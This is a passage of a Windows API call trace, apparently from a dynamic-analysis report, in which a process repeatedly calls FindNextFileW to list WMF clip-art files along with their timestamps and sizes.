ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1 [0273.260] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1 [0273.260] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1 [0273.260] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1 [0273.260] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1 [0273.261] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1 [0273.261] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0273.261] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1 [0273.261] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1 [0273.261] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1 [0273.261] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1 [0273.262] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1 [0273.262] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1 [0273.262] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec395100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec395100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1 [0273.262] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6bec00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xce6bec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1 [0273.262] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc613b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1 [0273.262] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1 [0273.263] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1 [0273.263] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1 [0273.263] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1 [0273.263] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1 [0273.263] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1 [0273.263] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1 [0273.263] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1 [0273.264] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1 [0273.264] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1 [0273.264] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1 [0273.264] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1 [0273.264] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1 [0273.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5505900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5505900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1 [0273.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98336a00, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98336a00, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1 [0273.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1 [0273.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e49c00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8e49c00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1 [0273.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b10300, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2b10300, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1 [0273.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04ea900, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc04ea900, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1 [0273.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbb2200, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcbb2200, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1 [0273.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb7200, ftCreationTime.dwHighDateTime=0x1bd4b0f, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb7200, ftLastWriteTime.dwHighDateTime=0x1bd4b0f, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1 [0273.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb57400, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcb57400, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1 [0273.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd5f9e00, ftCreationTime.dwHighDateTime=0x1bd4adf, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd5f9e00, ftLastWriteTime.dwHighDateTime=0x1bd4adf, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1 [0273.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd892e800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd892e800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1 [0273.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1 [0273.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8632900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8632900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1 [0273.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32d8d00, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32d8d00, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1 [0273.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1 [0273.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1 [0273.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1 [0273.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, 